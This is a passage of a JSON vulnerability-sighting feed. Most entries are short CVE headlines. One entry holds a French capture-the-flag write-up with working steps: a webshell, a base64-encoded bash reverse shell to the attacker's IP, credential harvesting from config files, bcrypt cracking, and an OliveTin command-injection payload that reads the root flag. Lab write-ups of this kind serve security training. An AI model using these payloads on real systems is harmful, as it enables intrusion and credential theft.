30b0\u30a4\u30f3\u3067\u304d...", "creation_timestamp": "2026-06-24T13:13:10.522049Z"}, {"uuid": "d9cf1329-ffed-4ffc-be23-8b5e7f783d0d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27278", "type": "seen", "source": "https://bsky.app/profile/deafnews-auto.bsky.social/post/3mp3uq2cdpk2y", "content": "Adobe Reader: Patch Now for CVE-2026-27278, RCE via PDF", "creation_timestamp": "2026-06-25T07:09:25.130966Z"}, {"uuid": "a3aa849b-7124-4623-bc3a-80aa81e1ae36", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27366", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3mp4wjhseyg2h", "content": "\u8981\u7d04\u5bfe\u8c61\u306e\u8a18\u4e8b\u5185\u5bb9\u304c\u63d0\u793a\u3055\u308c\u3066\u3044\u307e\u305b\u3093\u3002 \u3082\u3057\u4ee5\u4e0b\u306e\u3088\u3046\u306a\u8106\u5f31\u6027\u60c5\u5831\u304c\u4e0e\u3048\u3089\u308c\u305f\u5834\u5408\u3001\u6307\u5b9a\u3055\u308c\u305f\u89b3\u70b9\u3068\u6587\u5b57\u6570\u5236\u9650\u306b\u57fa\u3065\u3044\u3066\u3001\u8981\u7d04\u306f\u4ee5\u4e0b\u306e\u3088\u3046\u306b\u306a\u308a\u307e\u3059\u3002  --- **\uff08\u4eee\u306e\u5165\u529b\u60c5\u5831\uff09** \u300cFoo\u2026\nCVE-2026-27366 CVSS 7.5 | HIGH", "creation_timestamp": "2026-06-25T17:14:11.511003Z"}, {"uuid": "7d67a58d-85f7-4892-b8b5-1dda01d34a8e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27912", "type": "seen", "source": "https://t.me/GithubRedTeam/98056", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a Kerberos-CVE-2026-27912\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a oxstussz-eng\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-14 14:57:32\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nPoC for CVE-2026-27912 - Windows Kerberos Elevation of Privilege (ResetNightmare). Unauthorized password reset via Kerberos flaw. For security research only.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-08-15T00:00:47.390995Z"}, {"uuid": "3ca4f006-1edb-4fa2-8687-4a5c0b44b9ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27626", "type": "seen", "source": "https://gist.github.com/zSarix/66a6804b1056cbaf4c2940b8f9808613", "content": "# Info de la box\n\n```md\nMy IP: 10.10.16.3\nIP Target: 10.129.239.191\nOS: Linux (easy)\n```\n\n# \u00c9num\u00e9ration\n\n**Scan de Port** :\n\n```bash\nnmap -sS -Pn -p- 10.129.239.191\n\nPORT      STATE SERVICE\n22/tcp    open  ssh\n80/tcp    open  http\n110/tcp   open  pop3\n111/tcp   open  rpcbind\n143/tcp   open  imap\n993/tcp   open  imaps\n995/tcp   open  pop3s\n2049/tcp  open  nfs\n32861/tcp open  unknown\n35359/tcp open  unknown\n39757/tcp open  unknown\n44459/tcp open  unknown\n49055/tcp open  unknown\n```\n\n```bash\nnmap -sSVC -Pn -p22,80,110,111,143,993,995,2049,32861,35539,39757,44459,49055  10.129.239.191\n\nPORT      STATE  SERVICE  VERSION\n22/tcp    open   ssh      OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)\n| ssh-hostkey: \n|   256 0c4bd276ab10069205dcf755947f18df (ECDSA)\n|_  256 2d6d4a4cee2e11b6c890e683e9df38b0 (ED25519)\n80/tcp    open   http     nginx 1.24.0 (Ubuntu)\n|_http-server-header: nginx/1.24.0 (Ubuntu)\n|_http-title: Did not follow redirect to http://enigma.htb/\n110/tcp   open   pop3     Dovecot pop3d\n|_ssl-date: TLS randomness does not represent time\n| ssl-cert: Subject: commonName=enigma\n| Subject Alternative Name: DNS:enigma\n| Not valid before: 2026-02-18T20:33:33\n|_Not valid after:  2036-02-16T20:33:33\n|_pop3-capabilities: STLS RESP-CODES SASL AUTH-RESP-CODE UIDL PIPELINING CAPA TOP\n111/tcp   open   rpcbind  2-4 (RPC #100000)\n| rpcinfo: \n|   program version    port/proto  service\n|   100000  2,3,4        111/tcp   rpcbind\n|   100000  2,3,4        111/udp   rpcbind\n|   100000  3,4          111/tcp6  rpcbind\n|   100000  3,4          111/udp6  rpcbind\n|   100003  3,4         2049/tcp   nfs\n|   100003  3,4         2049/tcp6  nfs\n|   100005  1,2,3      39757/tcp   mountd\n|   100005  1,2,3      45225/udp   mountd\n|   100005  1,2,3      45661/tcp6  mountd\n|   100005  1,2,3      58619/udp6  mountd\n|   100021  1,3,4      35359/tcp   nlockmgr\n|   100021  1,3,4      36029/udp6  nlockmgr\n|   100021  1,3,4      44341/tcp6  nlockmgr\n|   100021  1,3,4      55972/udp   nlockmgr\n|   100024  1          37465/udp6  status\n|   100024  1          44459/tcp   status\n|   100024  1          45071/tcp6  status\n|   100024  1          51675/udp   status\n|   100227  3           2049/tcp   nfs_acl\n|_  100227  3           2049/tcp6  nfs_acl\n143/tcp   open   imap     Dovecot imapd (Ubuntu)\n| ssl-cert: Subject: commonName=enigma\n| Subject Alternative Name: DNS:enigma\n| Not valid before: 2026-02-18T20:33:33\n|_Not valid after:  2036-02-16T20:33:33\n|_imap-capabilities: IMAP4rev1 LITERAL+ have IDLE OK more capabilities post-login SASL-IR listed Pre-login ENABLE LOGIN-REFERRALS LOGINDISABLEDA0001 ID STARTTLS\n|_ssl-date: TLS randomness does not represent time\n993/tcp   open   ssl/imap Dovecot imapd (Ubuntu)\n|_ssl-date: TLS randomness does not represent time\n| ssl-cert: Subject: commonName=enigma\n| Subject Alternative Name: DNS:enigma\n| Not valid before: 2026-02-18T20:33:33\n|_Not valid after:  2036-02-16T20:33:33\n|_imap-capabilities: IMAP4rev1 LITERAL+ AUTH=PLAINA0001 IDLE OK more capabilities post-login SASL-IR Pre-login ENABLE LOGIN-REFERRALS have listed ID\n995/tcp   open   ssl/pop3 Dovecot pop3d\n|_ssl-date: TLS randomness does not represent time\n| ssl-cert: Subject: commonName=enigma\n| Subject Alternative Name: DNS:enigma\n| Not valid before: 2026-02-18T20:33:33\n|_Not valid after:  2036-02-16T20:33:33\n|_pop3-capabilities: SASL(PLAIN) RESP-CODES TOP AUTH-RESP-CODE UIDL PIPELINING CAPA USER\n2049/tcp  open   nfs_acl  3 (RPC #100227)\n32861/tcp open   mountd   1-3 (RPC #100005)\n35539/tcp closed unknown\n39757/tcp open   mountd   1-3 (RPC #100005)\n44459/tcp open   status   1 (RPC #100024)\n49055/tcp open   mountd   1-3 (RPC #100005)\nService Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel\n```\n\n**Enumeration NFS** :\n\n```bash\nsudo nmap --script nfs\\* -Pn -T5 -p111-2049 10.129.239.191\n\nPORT     STATE SERVICE\n111/tcp  open  rpcbind\n| nfs-ls: Volume /srv/nfs/onboarding\n|   access: Read Lookup NoModify NoExtend NoDelete NoExecute\n| PERMISSION  UID  GID  SIZE  TIME                 FILENAME\n| rwxr-xr-x   0    0    4096  2026-02-19T19:54:47  .\n| ??????????  ?    ?    ?     ?                    ..\n| rw-r--r--   0    0    1751  2026-02-19T19:53:57  New_Employee_Access.pdf\n|_\n| nfs-showmount: \n|_  /srv/nfs/onboarding *\n| nfs-statfs: \n|   Filesystem           1K-blocks  Used       Available  Use%  Maxfilesize  Maxlink\n|_  /srv/nfs/onboarding  8861044.0  6508504.0  2244432.0  75%   16.0T        32000\n143/tcp  open  imap\n993/tcp  open  imaps\n995/tcp  open  pop3s\n2049/tcp open  nfs\n```\n\n```bash\nshowmount -e 10.129.239.191                             \nExport list for 10.129.239.191:\n/srv/nfs/onboarding *\n\nmkdir target-NFS\nsudo mount -t nfs 10.129.239.191:/srv/nfs/onboarding ./target-NFS -o nolock\n```\n\nSur le document `New_Employee_Access.pdf` on apprends :\n\n```md\nEmployee : Kevin Mitchell\nDepartment : Operations\nProvisioned By : IT Department\nDate : 2024-03-01\n\nwebmail Access\n- URL : http://mail001.enigma.htb\n- Username : Kevin\n- Password : Enigma2024!\n  \nFor support contact : it@enigma.htb\n```\n\n# IMAP/POP3\n\n```bash\nopenssl s_client -connect 10.129.239.191:pop3s\nUSER Kevin\n+OK\n\nPASS Enigma2024!\n+OK Loggin In.\n\nLIST\n+OK 1 messages:\n1 1473\n.\n\nRETR 1\nRENEGOTIATING\n40B7F7E19C7F0000:error:0A00010A:SSL routines:can_renegotiate:wrong ssl version:../ssl/ssl_lib.c:2323:\n```\n\nBon il refuse, m\u00eame en se connectant avec une vieille version de tls et le flag `-no_renegotiation`\n# Page Web\n\n**Vhosts** :\n\n```bash\nffuf -w /opt/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u http://enigma.htb/ -H 'Host: FUZZ.enigma.htb' -c -v -ic -ac\n\n        /'___\\  /'___\\           /'___\\       \n       /\\ \\__/ /\\ \\__/  __  __  /\\ \\__/       \n       \\ \\ ,__\\\\ \\ ,__\\/\\ \\/\\ \\ \\ \\ ,__\\      \n        \\ \\ \\_/ \\ \\ \\_/\\ \\ \\_\\ \\ \\ \\ \\_/      \n         \\ \\_\\   \\ \\_\\  \\ \\____/  \\ \\_\\       \n          \\/_/    \\/_/   \\/___/    \\/_/       \n\n       v2.1.0-dev\n________________________________________________\n\n :: Method           : GET\n :: URL              : http://enigma.htb/\n :: Wordlist         : FUZZ: /opt/seclists/Discovery/DNS/subdomains-top1million-110000.txt\n :: Header           : Host: FUZZ.enigma.htb\n :: Follow redirects : false\n :: Calibration      : true\n :: Timeout          : 10\n :: Threads          : 40\n :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500\n________________________________________________\n\n[Status: 200, Size: 5327, Words: 366, Lines: 97, Duration: 263ms]\n| URL | http://enigma.htb/\n    * FUZZ: mail001\n```\n\n**DNS** :\n\n```sh\nffuf -w /opt/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u http://FUZZ.enigma.htb/ -c -v -ic -ac  \n\nR.A.S\n```\n\n**Directory** : \n\n- `enigma.htb`\n\n```bash\nffuf -w /opt/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://enigma.htb/FUZZ -c -v -ic -ac -e php\n\nR.A.S\n```\n\n- `mail001.enigma.htb`\n\n```bash\nffuf -w /opt/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://mail001.enigma.htb/FUZZ -c -v -ic -ac -e php\n\nR.A.S\n```\n\nAvec les creds obtenu dans le PDF on arrive \u00e0 se connecter sur `mail001.enigma.htb`\n\nOn trouve un email de `sarah@enigma.htb` :\n\n```md\nHi Kevin,  \n  \nWelcome to the team! We're thrilled to have you on board at Enigma Corp.  \n  \nA little about us \u00e2\u20ac\u201d Enigma Corp is a mid-sized technology and operations firm specializing in infrastructure management and enterprise solutions. We've been growing rapidly over the past few years and we're excited to have fresh talent joining us.  \n  \nI'm Sarah from the Accounts department. I'll be your point of contact for any finance-related queries during your onboarding period.  \n  \nWe're still finalizing a few of your onboarding details \u00e2\u20ac\u201d your system access, equipment setup, and department introductions are all being arranged by the IT team. You should be receiving your access credentials shortly via the company shared drive.  \n  \nIn the meantime, don't hesitate to reach out if you have any questions. We want to make sure your first few days are as smooth as possible.  \n  \nLooking forward to working with you!  \n  \nBest regards,  \nSarah  \nAccounts Department  \nEnigma Corp  \n[sarah@enigma.htb](mailto:sarah@enigma.htb)\n```\n\nEt alors je me dis que je vais tenter le m\u00eame mot de passe avec l'user `Sarah`.\n\nEt bingo je me connecte sur la boite mail de Sarah.\n\nOn y retrouve ce mail :\n\n```md\nHi Sarah,  \n  \nApologies for the delay. I have provisioned your access. Please find the details below:  \n  \nURL:\u00a0http://support_001.enigma.htb/\nUsername: admin  \nPassword: Ne3s4rtars78s  \n  \nNote: I will create a dedicated account for you shortly, for now you can use the admin account to get started.  \n  \nRegards,  \nIT Support  \nEnigma Corp\n```\n\nBon j'ajoute le nouveau dns/vhost \u00e0 mon fichier `/etc/hosts`\n\n```bash\nsudo nano /etc/hosts\n\n10.129.239.191  enigma.htb mail001.enigma.htb support_001.enigma.htb\n```\n\nJe trouve une CVE sur la version de `OpenSTAManager` qui me permet avec le compte admin, de poster un webshell.\n\nVoici le POC : \n\nhttps://github.com/devcode-it/openstamanager/security/advisories/GHSA-25fp-8w8p-mx36\n\n```bash\ncurl http://support_001.enigma.htb/files/SHELL.php\\?c\\=id\nuid=33(www-data) gid=33(www-data) groups=33(www-data)\n```\n\nJ'upgrade mon webshell en vrai reverse shell, je passe par du base64 pour \u00e9viter les gal\u00e8res de syntaxe : \n\nDonc je prends le payload :\n\n```bash\n/bin/bash -i >& /dev/tcp/10.10.16.3/9001 0>&1\n```\n\nPuis en base64\n\n`L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE2LjMvOTAwMSAwPiYx`\n\nEt j'envoie cette commande \n\n```bash\ncurl \"http://support_001.enigma.htb/files/SHELL.php?c=echo+'L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE2LjMvOTAwMSAwPiYx'|base64+-d|bash\"\n```\n\nCe qui donne proprement\n\n```bash\nshell.php?c=echo 'payload' | base64 -d | bash\n```\n\nEt je re\u00e7ois la connection dans mon pwncat-cs\n\n```bash\npwncat-cs -lp 9001\n[06:13:37] Welcome to pwncat \ud83d\udc08!                                                 \n[06:25:46] received connection from 10.129.239.191:49904                         \n[06:25:48] 10.129.239.191:49904: registered new host w/ db                       \n(local) pwncat$                                                                  \n(remote) www-data@enigma:/var/www/html/openstamanager/files$\n```\n\n# Privesc\n\n```bash\n(remote) www-data@enigma:/var/www/html/openstamanager/files$ cd /home\n(remote) www-data@enigma:/home$ ls\nharis  it  kevin  sarah\n(remote) www-data@enigma:/home$ \n```\n\nOn trouve donc 4 Users.\n\nJ'ai cherch\u00e9 des fichiers de config\n\n```bash\nwww-data@enigma:/var/www/html/roundcube/config$ cat config.inc.php | grep -E 'db_dsn|password|us\n\n// Format (compatible with PEAR MDB2): db_provider://user:password@host/database\n$config['db_dsnw'] = 'mysql://roundcube:Yo270x26!gTx02@localhost/roundcubemail';\n```\n\n```bash\nroundcubemail@enigma:/var/www/html/roundcube/config$ mysql -u roundcube -p'Yo270x26!gTx02' -h localhost\n\nWelcome to the MySQL monitor.  Commands end with ; or \\g.\nYour MySQL connection id is 163799\nServer version: 8.0.46-0ubuntu0.24.04.3 (Ubuntu)\n\nmysql> SELECT * FROM users;\n\nSNIP\n\nmysql> \n```\n\nRien d'int\u00e9ressant pas de hash de mdp etc\n\n```bash\nwww-data@enigma:/var/www/html/openstamanager$ cat config.inc.php \n$db_host = 'localhost';\n$db_username = 'brollin';\n$db_password = 'Fri3nds@9099';\n$db_name = 'openstamanager';\n```\n\nJ'essaye de me connecter \u00e0 cette db : \n\n```bash\nmysql -u brollin -p'Fri3nds@9099' -h localhost openstamanager\n\nmysql> SHOW TABLES;\n\nSNIP\nzz_users\n\nmysql> SELECT * FROM zz_users \\G\n*************************** 1. row ***************************\n           id: 1\n     username: admin\n     password: $2y$10$rTJVUNyGGKPlhw2cFdf5AeDHVMhnIChddcHx2XxVLMQS2KsuSz4Pu\n        email: admin@enigma.htb\n idanagrafica: 1\n     idgruppo: 1\n      enabled: 1\n   created_at: 2026-02-18 19:26:52\n   updated_at: 2026-02-18 19:26:52\n  reset_token: NULL\nimage_file_id: NULL\n      options: \n*************************** 2. row ***************************\n           id: 2\n     username: haris\n     password: $2y$10$WHf1T79sxjsZongUKT2jGeexTkvihBQyCZeoYXmObiNphrsZDr6eC\n        email: haris@enigma.htb\n idanagrafica: 1\n     idgruppo: 5\n      enabled: 1\n   created_at: 2026-02-18 20:58:28\n   updated_at: 2026-05-26 11:07:03\n  reset_token: NULL\nimage_file_id: NULL\n      options: \n2 rows in set (0.00 sec)\n```\n\nBingo l\u00e0 on a le hash de haris et admin\n\nOn va essayer de les casser avec hashcat, mais faut d'abord identifier le type de hash, m\u00eame si je guess que c'est du bcrypt\n\n```bash\nhashid -m '$2y$10$WHf1T79sxjsZongUKT2jGeexTkvihBQyCZeoYXmObiNphrsZDr6eC'\n \nAnalyzing '$2y$10$WHf1T79sxjsZongUKT2jGeexTkvihBQyCZeoYXmObiNphrsZDr6eC'\n[+] Blowfish(OpenBSD) [Hashcat Mode: 3200]\n[+] Woltlab Burning Board 4.x \n[+] bcrypt [Hashcat Mode: 3200]\n```\n\nBingo, on va tenter de le casser.\n\n```bash\nhashcat -a 0 -m 3200 '$2y$10$WHf1T79sxjsZongUKT2jGeexTkvihBQyCZeoYXmObiNphrsZDr6eC' /opt/rockyou.txt \n\n$2y$10$WHf1T79sxjsZongUKT2jGeexTkvihBQyCZeoYXmObiNphrsZDr6eC:bestfriends\n```\n\nLet's goo, le mdp de harris est `bestfriends`\n\n```bash\nharis@enigma:/var/www/html/openstamanager$ cd\nharis@enigma:~$ ls\nmail  user.txt\nharis@enigma:~$ cat user.txt \n2c3dc533ff3a163bab0024252db56a9d\nharis@enigma:~$ \n```\n\nPremier flag.\n\nEnsuite, j'ai \u00e9num\u00e9r\u00e9 les services et ports\n\n```bash\nharis@enigma:/opt/OliveTin/OliveTin-linux-amd64$ ss -tln                                                                     State         Recv-Q        Send-Q               Local Address:Port                  Peer Address:Port        Process        \nLISTEN        0             4096                    127.0.0.54:53                         0.0.0.0:*                          \nLISTEN        0             151                      127.0.0.1:3306                       0.0.0.0:*                          \nLISTEN        0             100                        0.0.0.0:143                        0.0.0.0:*                          \nLISTEN        0             4096                     127.0.0.1:1337                       0.0.0.0:*                          \nLISTEN        0             4096                       0.0.0.0:22                         0.0.0.0:*                          \nLISTEN        0             64                         0.0.0.0:2049                       0.0.0.0:*                          \nLISTEN        0             511                        0.0.0.0:80                         0.0.0.0:*                          \nLISTEN        0             100                        0.0.0.0:110                        0.0.0.0:*                          \nLISTEN        0             4096                       0.0.0.0:111                        0.0.0.0:*                          \nLISTEN        0             100                        0.0.0.0:993                        0.0.0.0:*                          \nLISTEN        0             100                        0.0.0.0:995                        0.0.0.0:*                          \nLISTEN        0             4096                       0.0.0.0:56025                      0.0.0.0:*                          \nLISTEN        0             100                      127.0.0.1:25                         0.0.0.0:*                          \nLISTEN        0             4096                       0.0.0.0:46551                      0.0.0.0:*                          \nLISTEN        0             4096                       0.0.0.0:40257                      0.0.0.0:*                          \nLISTEN        0             70                       127.0.0.1:33060                      0.0.0.0:*                          \nLISTEN        0             4096                 127.0.0.53%lo:53                         0.0.0.0:*                          \nLISTEN        0             64                         0.0.0.0:38077                      0.0.0.0:*                          \nLISTEN        0             4096                       0.0.0.0:55033                      0.0.0.0:*                          \nLISTEN        0             100                          [::1]:25                            [::]:*                          \nLISTEN        0             100                           [::]:143                           [::]:*                          \nLISTEN        0             4096                          [::]:22                            [::]:*                          \nLISTEN        0             64                            [::]:2049                          [::]:*                          \nLISTEN        0             511                           [::]:80                            [::]:*                          \nLISTEN        0             4096                          [::]:41039                         [::]:*                          \nLISTEN        0             100                           [::]:110                           [::]:*                          \nLISTEN        0             4096                          [::]:111                           [::]:*                          \nLISTEN        0             64                            [::]:46015                         [::]:*                          \nLISTEN        0             100                           [::]:993                           [::]:*                          \nLISTEN        0             100                           [::]:995                           [::]:*                          \nLISTEN        0             4096                          [::]:47809                         [::]:*                          \nLISTEN        0             4096                          [::]:56455                         [::]:*                          \nLISTEN        0             4096                          [::]:48913                         [::]:*                          \nharis@enigma:/opt/OliveTin/OliveTin-linux-amd64$\n```\n\nJe remarque qu'il y a, le port 1337 \u00e9trange, j'ai d\u00e9cide de le curl dans le doute\n\n```bash\ncurl localhost:1337\n```\n\nOn tombe bien sur une page web de OliveTin 3000.10.0\n\nJe l'ai port forward, pour pouvoir l'avoir sur mon burp.\n\n```bash\nmkdir -p ~/.ssh\ncd .ssh/\ntouch authorized_keys\n```\n\nCopier/Coller la cl\u00e9 publique dans authorized_keys\n\n```bash\nharis@enigma:~/.ssh$ nano authorized_keys \nssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMAceiq8C0gxOUO36pXEWFC6y2uuEjqyqzIhj4a2Dkk4 sarix@arch\n```\n\nOn setup les droits du fichier :\n\n```bash\nchmod 700 ~/.ssh\nchmod 600 ~/.ssh/authorized_keys\n```\n\n**machine attaquant** :\n\n```bash\nssh haris@enigma.htb\n```\n\nEnsuite j'ai cherch\u00e9 si il existait pas une CVE sur cette version de OliveTin, et effectivement on trouve la CVE-2026-27626 \n\nhttps://github.com/OliveTin/OliveTin/security/advisories/GHSA-49gm-hh7w-wfvf\n\nEn naviguant sur la page, on trouve la page \"Backup Database\" avec un champ password, qui comme dans les d\u00e9tails de la CVE permet avec le type password d'injecter des caract\u00e8res sp\u00e9ciaux.\n\nAlors j'intercepte la requ\u00eate et j'y mets une **Command Injection** :\n\n```http\nPOST /api/olivetin.api.v1.OliveTinApiService/StartAction HTTP/1.1\nHost: localhost:1337\nContent-Length: 242\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36\nsec-ch-ua-platform: \"Linux\"\nAccept-Language: fr-FR,fr;q=0.9\nsec-ch-ua: \"Not-A.Brand\";v=\"24\", \"Chromium\";v=\"146\"\ncontent-type: application/json\nsec-ch-ua-mobile: ?0\nconnect-protocol-version: 1\nAccept: */*\nOrigin: http://localhost:1337\nSec-Fetch-Site: same-origin\nSec-Fetch-Mode: cors\nSec-Fetch-Dest: empty\nReferer: http://localhost:1337/actionBinding/backup_database/argumentForm\nAccept-Encoding: gzip, deflate, br\nConnection: keep-alive\n\n{\"bindingId\":\"backup_database\",\"arguments\":[{\"name\":\"db_user\",\"value\":\"backup_svc\"},{\"name\":\"db_pass\",\"value\":\"'; id; echo '\"},{\"name\":\"db_name\",\"value\":\"production\"}],\"uniqueTrackingId\":\"f74e37f7-6a31-4d92-86fa-08c7190acec7\"}\n```\n\ndans la r\u00e9ponse on a le TrackingID li\u00e9 \u00e0 notre requ\u00eate\n\n```http\nHTTP/1.1 200 OK\nAccept-Encoding: gzip\nContent-Type: application/json\nDate: Mon, 29 Jun 2026 13:02:48 GMT\nContent-Length: 62\n\n{\"executionTrackingId\":\"c83ae92d-07c9-4658-9307-cbee693f93d1\"}\n```\n\nAlors je fetch dessus pour voir le r\u00e9sultat\n\n```http\nhttp://localhost:1337/logs/c83ae92d-07c9-4658-9307-cbee693f93d1\n```\n\n\u00c7a marche, la commande c'est bien exec, on voit l'id (root).\n\nIl me reste plus qu'\u00e0 afficher le flag\n\n```http\nPOST /api/olivetin.api.v1.OliveTinApiService/StartAction HTTP/1.1\nHost: localhost:1337\nContent-Length: 242\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36\nsec-ch-ua-platform: \"Linux\"\nAccept-Language: fr-FR,fr;q=0.9\nsec-ch-ua: \"Not-A.Brand\";v=\"24\", \"Chromium\";v=\"146\"\ncontent-type: application/json\nsec-ch-ua-mobile: ?0\nconnect-protocol-version: 1\nAccept: */*\nOrigin: http://localhost:1337\nSec-Fetch-Site: same-origin\nSec-Fetch-Mode: cors\nSec-Fetch-Dest: empty\nReferer: http://localhost:1337/actionBinding/backup_database/argumentForm\nAccept-Encoding: gzip, deflate, br\nConnection: keep-alive\n\n{\"bindingId\":\"backup_database\",\"arguments\":[{\"name\":\"db_user\",\"value\":\"backup_svc\"},{\"name\":\"db_pass\",\"value\":\"'; cat /root/root.txt; echo '\"},{\"name\":\"db_name\",\"value\":\"production\"}],\"uniqueTrackingId\":\"f74e37f7-6a31-4d92-86fa-08c7190acec7\"}\n```\n\nOn me retourne un nouveau TrackingID : \n\n```http\nHTTP/1.1 200 OK\nAccept-Encoding: gzip\nContent-Type: application/json\nDate: Mon, 29 Jun 2026 13:03:58 GMT\nContent-Length: 62\n\n{\"executionTrackingId\":\"339ca5f5-f5bd-467a-bd5d-df523193e139\"}\n```\n\nIl me reste plus qu'\u00e0 fetch sur l'url log en lui fournissant ce TrackingID : \n\n```http\nhttp://localhost:1337/logs/339ca5f5-f5bd-467a-bd5d-df523193e139\n```\n\nOn obtient alors le flag **root** : \n\n**Flag : f1c093db939ace9cc4cfa2715dedfabc**\n", "creation_timestamp": "2026-06-29T13:27:42.223408Z"}, {"uuid": "8b9b604f-e757-48ed-8bc9-13859380b799", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27136", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mpgunn2jyy2w", "content": "CVE-2026-27136: If You're Not Responding, You're Already Behind", "creation_timestamp": "2026-06-29T16:07:21.445051Z"}, {"uuid": "8238d3b8-11fa-4e6e-81c3-5f9c1850ec3b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27136", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mpgunt362j2g", "content": "CVE-2026-27136: Another Reminder of Security Oversight, Not Just Technical Flaws", "creation_timestamp": "2026-06-29T16:07:27.736981Z"}, {"uuid": "62c27c9c-3d95-44ae-a587-53af53ff8753", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27136", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mpgunuvszg2o", "content": "CVE-2026-27136: A Systemic Flaw in JavaScript Handling That Demands Board-Level Accountability", "creation_timestamp": "2026-06-29T16:07:30.007033Z"}, {"uuid": "5b09cacf-6fd6-4678-ac18-816cb17f71d2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27136", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mpgunwykkj2l", "content": "CVE-2026-27136: The Sound of One Hand Clapping in Golang Security", "creation_timestamp": "2026-06-29T16:07:31.940483Z"}, {"uuid": "5c82f429-5da7-4bc2-9dd0-4fd931d8d4cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27136", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mpgunyvimr27", "content": "The Great Divide: Assessing the Implications of CVE-2026-27136 in Golang\u2019s HTML Package", "creation_timestamp": "2026-06-29T16:07:34.134186Z"}, {"uuid": "c752f9f3-ff97-4744-ae1d-820b32bc1b8d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27912", "type": "seen", "source": "https://bsky.app/profile/cyberveille-ch.bsky.social/post/3msqhteu6xm2i", "content": "\ud83d\udce2 CVE-2026-27912 ResetNightmare : PoC de r\u00e9initialisation de mot de passe via Kerberos Change Password\n\nCet article pr\u00e9sente un outil Proof-of-Concept (PoC) pour la vuln\u00e9rabilit\u00e9 CVE-2026-27912, baptis\u00e9e ResetNightmare. ResetNightmare\u2026\n\n\ud83d\udfe1 v\u00e9rification factuelle moyenne\n#Kerberos #PoC #Cyberveille", "creation_timestamp": "2026-08-10T16:00:07.403113Z"}, {"uuid": "0dee1335-27fd-4f43-ab6e-5e6d7a7c0ff2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "96c16751-1b73-43f8-8ab4-831c0a20223d", "vulnerability": "CVE-2026-27912", "type": "published-proof-of-concept", "source": "https://www.semperis.com/blog/identity-crisis-novel-vulnerabilities-leading-to-kerberos-downgrade-dos-and-full-domain-takeover/", "content": "", "creation_timestamp": "2026-08-06T12:29:46.605176Z"}, {"uuid": "ee50fc13-1cf9-4b87-9ae3-46c329a76e33", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27681", "type": "seen", "source": "https://t.me/VulnerabilityNews/41951", "content": "April Patch Tuesday Fixes Critical Flaws Across SAP, Adobe, Microsoft, Fortinet, and More\n\nA number\u00a0of critical vulnerabilities impacting products from Adobe, Fortinet, Microsoft, and SAP have taken center stage in April's Patch Tuesday\u00a0releases.\nTopping the list is an SQL injection vulnerability impacting SAP Business Planning and Consolidation 